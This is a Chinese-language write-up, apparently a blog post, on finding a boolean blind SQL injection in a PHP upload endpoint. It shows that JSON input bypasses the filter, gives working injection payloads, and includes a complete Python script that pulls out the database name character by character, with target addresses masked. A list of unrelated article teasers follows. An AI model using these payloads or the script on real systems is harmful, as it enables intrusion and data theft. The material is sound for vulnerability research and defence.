记一次布尔盲注漏洞的挖掘与分析
在上篇文章记一次由于整型参数错误导致的任意文件上传的漏洞成因的分析过程中,发现
menu_id貌似是存在注入的。
public function upload()
{$menu_id = $this->post('menu_id');if ($id) {$where = "id = {$id}";if ($menu_id) {$where .= " and menu_id = '{$menu_id}'";}$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);if (empty($config)) {return $this->returnJson(400, $this->language['parameter_error']);}if (!in_array($config['type'], [8, 11, 12])) {return $this->returnJson(400, $this->language['error_field']);}
}
可以看到menu_id被拼接到了SQL语句中,跟踪一下找到完整的SQL的执行语句
public static function getOne($tablename, $select = '*', $where, $order = '') {$sql = "select $select from $tablename where $where";if ($order) {$sql .= ' Order By ' . $order;}$ecshopdb = DI::getDefault()->get('db');$stmt = $ecshopdb->prepare($sql);$stmt->execute([]);$oneResult = $stmt->fetch(\PDO::FETCH_ASSOC);return $oneResult;
}
得到完整的SQL语句
select type,options from $tablename where id={$id} and menu_id='{$menu_id}' Order By {$order};
menu_id可控,但是这里有个过滤,跟进$this->post()
public function post($name, $value = '')
{$str = $this->request->getPost($name);$str = is_string($str) ? trim($str) : $str;//$str = (new aes())->aesDe($str);$str = Helper::new_addslashes($str);if (empty($str) && !empty($value)) {$str = $value;}return $str;
}
public static function new_addslashes($string)
{if (!is_array($string)) {$str = $string;if (!self::isJson($string)) { $str = addslashes($string);$str = self::safe_replace($str);}$str = self::remove_xss($str);return $str;}foreach ($string as $key => $val) {$string[$key] = self::new_addslashes($val);}return $string;
}
关键点在if (!self::isJson($string)),如果这里为True,也就是参数为JSON数据,则不会经过safe_replace()过滤,如果过滤到参数这里就没法玩了。
public static function safe_replace($string)
{$string = str_replace('%20', '', $string);$string = str_replace('%27', '', $string);$string = str_replace('%2527', '', $string);$string = str_replace('*', '', $string);$string = str_replace('"', '"', $string);$string = str_replace("'", '', $string);$string = str_replace(';', '', $string);$string = str_replace('<', '<', $string);$string = str_replace('>', '>', $string);$string = str_replace('\\', '', $string);return $string;
}
那么就可以给menu_id传json数据闭合语句注入即可,例如:{"a":"a'or if(1=1,1,0)-- "}
select type,options from $tablename where id={$id} and menu_id='{"a":"a'or if(1=1,1,0)-- "}' Order By {$order};
并且由于这里有一个查询情况判断
$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);
if (empty($config)) {return $this->returnJson(400, $this->language['parameter_error']);
}if (!in_array($config['type'], [8, 11, 12])) {return $this->returnJson(400, $this->language['error_field']);
}
可以看到,当SQL语句查询失败返回为空时,应该返回parameter_error,当查询成功时,但是因为没有正确格式的menu_id没有查询出type, options,返回的是error_field,至于返回的报错也可以找到对应关系表。如下:
'parameter_error' => '参数错误',
'error_field' => '字段参数错误',
那么接下来就是布尔盲注的过程了,验证下
当menu_id = {"a":"a'or if(1=1,1,0)-- "}时,返回的是字段参数错误

当menu_id = {"a":"a'or if(1=0,1,0)-- "}时,返回的是参数错误

直接写个简单脚本跑一下即可
import requestsmyurl = "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/xxx/xxx"
myheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0","Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding": "gzip, deflate", "appid": "950DAB0982FBF45C","Content-Type": "multipart/form-data; boundary=---------------------------38542006312875159874932859608","Origin": "https://xxx.xxx.xxx.xxx:xxx", "Connection": "close", "Referer": "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/","Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}
content = ''
for pos in range(1, 100):min_num = 32max_num = 126mid_num = (min_num + max_num) // 2while min_num < max_num:mydata = "-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"menu_id\"\r\n\r\n{{\"a\":\"a'or if((ord(mid(database(),{},1)))>{},1,0)-- \"}}\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n11136\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\ndde84e3dd838eebf9791ccd614842ac6\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"org_id\"\r\n\r\nc0f8456c51d4aa175abc8e77db6b069a\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"lang\"\r\n\r\nsc\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"time\"\r\n\r\n1691670817\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\ne2c8963aaa7e70f73639caf5d7b2b60f\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"file\"; filename=\"pic1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n\r\n-----------------------------38542006312875159874932859608--\r\n".format(pos, mid_num)resp = requests.post(url=myurl, headers=myheaders, data=mydata)if '字段参数错误' in resp.text:min_num = mid_num + 1else:max_num = mid_nummid_num = (min_num + max_num) // 2content += chr(min_num)print(content)
能跑出数据库名就行了

相关文章:
记一次布尔盲注漏洞的挖掘与分析
在上篇文章记一次由于整型参数错误导致的任意文件上传的漏洞成因的分析过程中,发现menu_id貌似是存在注入的。 public function upload() {$menu_id $this->post(menu_id);if ($id) {$where "id {$id}";if ($menu_id) {$where . " and menu_id…...
C++11 新特性 ---- noexcept
1. 异常 异常通常用于处理逻辑上可能发生的错误 在C98中,提供了一套完善的异常处理机制,直接在程序中将各种类型的异常抛出,从而强制终止程序的运行。 1.1 基本语法 当函数抛出异常时,程序会停止执行,并显示异常信息…...
《Linux运维总结:Centos7.6之OpenSSH7.4p1升级版本至9.4p1》
Centos通过yum升级OpenSSH 在官方支持更新的CentOS版本,如果出现漏洞,都会通过更新版本来修复漏洞。这时候直接使用yum update就可以升级版本。 yum -y update openssh 但是,CentOS更新需要有一段时间,不能在漏洞刚出来的时候就有…...
七夕节日表白:七大网页风格与其适用人群
🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 &a…...
通达信指标公式16:使用BARSLAST函数写一个指标回测的思路
★★★★★博文原创不易,我的博文不需要打赏,也不需要知识付费,可以白嫖学习小技巧,喜欢的老铁可以多多帮忙点赞,小红牛在此表示感谢,就是对作者的最大支持。愿与诸君共勉,悟道于股市★★★★★…...
Jenkins自动化部署Vue项目
1、新建item,选择 Freestyle project 2、源码管理选择git,输入git仓库地址和授权账号,并指明要部署的分支 3、构建选择 Execute shell,输入vue项目打包命令 命令示例: source /etc/profile node -v npm config set re…...
Android JNI打印logcat日志
在 JNI 中打印日志可以使用 __android_log_print 函数来实现。该函数是 Android NDK 提供的一个用于在本地代码中输出日志消息到 logcat 的方法。 要在 JNI 中打印日志,请按照以下步骤进行操作: 在你的 JNI C/C 代码中包含 <android/log.h> 头文件…...
第28次CCF计算机软件能力认证(测试)
测试300分要是考试的时候也能这么发挥就好 第一题:现值计算 解题思路:直接模拟 n , m input().split() n int(n);m float(m) l list(map(int , input().split())) res 0 for i in range(0 , n 1):res pow(1 m , -i) * l[i] print(res) 第二题…...
九耶丨阁瑞钛伦特-Java高频面试题-请谈谈 ReadWriteLock 和 StampedLock
ReadWriteLock包括两种子锁 (1)ReadWriteLock ReadWriteLock 可以实现多个读锁同时进行,但是读与写和写于写互斥,只能有一个写锁线程在进行。 (2)StampedLock StampedLock是Jdk在1.8提供的一种读写锁&a…...
【Linux操作系统】深入探索Linux系统编程中的信号集操作函数
在Linux系统编程中,信号集操作函数是非常重要的工具,它们允许我们对信号进行管理和控制。本篇博客将详细介绍Linux系统编程中的信号集操作函数,包括信号集的创建、添加和删除信号,以及对信号集进行操作的常用函数。通过深入了解这…...
[C初阶笔记]P2
Git 1、Git是Linus为了帮助管理Linux内核开发 而开发的一个开放源码的分布式版本控制软件。 2、Git和TortoiseGit的作用。 Git中有各种命令行操作,来维护代码,可以将代码推送到代码托管平台。 TortoiseGit是将Git中各自命令行操作转化为图形化操作。 …...
C++并发编程学习01——hello concurrent world
经典用例 #include <iostream> #include <thread>void hello() {std::cout << "hello concurrent world" << std::endl; }int main() {std::thread t(hello);t.join(); }编译 g -g test.cpp -o out -lpthreadgdb调试 (gdb) r Starting pr…...
大数据扫盲(2): 数据分析BI与ETL的紧密关系——ETL是成功BI的先决条件
着业务的发展每个企业都将产生越来越多的数据,然后这些数据本身并不能直接带来洞察力并产生业务价值。为了释放数据的潜力,数据分析BI(商业智能)成为了现代企业不可或缺的一部分。然而,在数据分析的背后,有…...
Java web 中的 jsp
JSP是什么 JSP是动态网页编程技术 JSP的四大作用域 1.page 表示在当前页面有效 2.request 表现在一次请求中有效 3.session 表示在一次会话中有效 4.application 表示在整个应用程序中有效 jsp内置对象是什么 在jsp开发中会频繁使用到一些对象,如果每次我们在jsp页面中需要…...
uniapp 数组操作
字符串转数组 let string "12345,56789" string.split(,) // [12345,56789] 数组转字符串 let array ["123","456"] array.join(",") // "123,456" 数组元素删除 let array [123,456] // 删除起始下标为1࿰…...
数据结构算法--4堆排序
堆排序过程: >建立堆(大根堆) >得到堆顶元素,为最大元素 >去掉堆顶,将堆最后一个元素放到堆顶,此时可通过一次调整使堆重新有序 >堆顶元素为第二大元素 >重复步骤3,直到堆变空 此时是建立堆后的大根堆模型 将…...
C++学习系列之DLL动态库使用
C学习系列之DLL动态库使用 啰嗦动态库的创建动态库的调用函数生成1.需要头文件函数定义(头文件)2.需要函数定义(函数文件)3.动态库中的头文件4.动态库中的主文件5.运行查看是否存在C#的调用的入口点6.C#调用 总结 啰嗦 项目需要&…...
Java实现钉钉企业内部应用机器和自定义机器人发送消息
前言 公司让写一个服务监控的功能,当监测到服务停止时,向钉钉群里推送报警信息。之前大概看到钉钉的开放平台的API文档,好像能群发消息的只有机器人。 钉钉开放平台目前提供三种机器人: 企业内部应用机器人 群模板机器人 自定义机器人 本来向用自己比较熟悉的自定义机器人…...
基于QT4的GPX文件编辑器开发
GPX文件是记录地理点的文件,本质是一种xml文件。GPX文件目前没有很好的编辑器,因此作者决定开发一款无需安装的绿色编辑器。 在QT4开发中,XML可以用DOM来实现,但其逻辑并不是很清晰。使用模型视图反而会更加可读。因此在开发中,使用model-view模式来实现数据读写。 1 需…...
树结构使用实例---实现数组和树结构的转换
文章目录 一、为什么要用树结构?二、使用步骤 1.引入相关json2.树结构的转换总结 一、为什么要用树结构? 本文将讲述一个实例,构造一棵树来实现数组和tree的转换,这在前端树结构中是经常遇到的 后端返回树结构方便管理ÿ…...
SignalAcquisition:嵌入式高精度信号采集与二进制串行传输框架
1. SignalAcquisition 库深度解析:面向嵌入式信号采集的高精度时序控制与二进制串行传输框架1.1 库定位与工程价值SignalAcquisition 是一个专为 Arduino IDE 设计的轻量级、高确定性信号采集库,其核心目标并非提供通用传感器驱动,而是构建一…...
【深度解析】Claude Auto Dream:从“短期对话”到“项目级心智模型”的记忆系统升级
摘要 本文从 Anthropic 新增的 Auto Dream(/dream)功能出发,系统解析大模型“跨会话记忆一致性”这一核心难题,剖析 Auto Memory Auto Dream 组合背后的技术逻辑,并给出如何在自己项目里实现“类 Auto Dream 记忆管理…...
Null 安全的 BigDecimal 比较器
本文旨在解决这个问题 Java 中对包含 BigDecimal 排序类型对象列表时,如何处理可能出现的空指针异常。自定义 BigDecimal 并结合比较器 Comparator.nullsFirst 可以实现正确的方法 BigDecimal 空值安全排序字段,避免程序崩溃,确保排序结果的正…...
终极LxgwWenKai字体配置指南:如何为VSCode和IDEA打造完美中文编程体验
终极LxgwWenKai字体配置指南:如何为VSCode和IDEA打造完美中文编程体验 【免费下载链接】LxgwWenKai LxgwWenKai: 这是一个开源的中文字体项目,提供了多种版本的字体文件,适用于不同的使用场景,包括屏幕阅读、轻便版、GB规范字形和…...
3天快速掌握RCWA光学仿真:从零到一的完整高效指南
3天快速掌握RCWA光学仿真:从零到一的完整高效指南 【免费下载链接】Rigorous-Coupled-Wave-Analysis modules for semi-analytic fourier series solutions for Maxwells equations. Includes transfer-matrix-method, plane-wave-expansion-method, and rigorous c…...
ai辅助开发:告诉快马你的想法,自动生成jdk17最佳实践代码
今天想和大家分享一个特别实用的开发技巧——如何用AI辅助快速掌握JDK17的新特性。作为一个经常需要升级Java版本的开发者,我发现每次版本更新都要花大量时间学习新语法,直到遇到了InsCode(快马)平台的AI辅助功能。 传统开发方式的痛点 以前用JDK8写代码…...
SemanticKITTI数据集评测:DarkNet53Seg、PointNet++等模型谁更强?附复现代码
SemanticKITTI点云语义分割实战:模型选型与性能优化指南 点云语义分割技术正在重塑自动驾驶、机器人导航和三维场景理解等领域的研究范式。作为该领域最具挑战性的基准之一,SemanticKITTI数据集凭借其大规模、高密度标注和真实场景多样性,已成…...
ente/auth缓存机制详解:提高系统响应速度
ente/auth缓存机制详解:提高系统响应速度 【免费下载链接】ente 完全开源,端到端加密的Google Photos和Apple Photos的替代品 项目地址: https://gitcode.com/GitHub_Trending/en/ente ente/auth作为专注于移动设备的两步验证(2FA&…...
Mermaid在线编辑器:开源可视化工具的图表创作革命
Mermaid在线编辑器:开源可视化工具的图表创作革命 【免费下载链接】mermaid-live-editor Edit, preview and share mermaid charts/diagrams. New implementation of the live editor. 项目地址: https://gitcode.com/GitHub_Trending/me/mermaid-live-editor …...
从朱诺到威尼斯:一个可持续旅游模型如何‘开箱即用’解决你的美赛问题二
从朱诺到威尼斯:可持续旅游模型的跨场景迁移实战指南 模型迁移的核心挑战与解决框架 当我们将一个城市的可持续旅游模型迁移到另一个城市时,表面上看似乎只需要更换数据输入,但实际操作中会遇到三个维度的挑战: 1. 资源禀赋差异 自…...
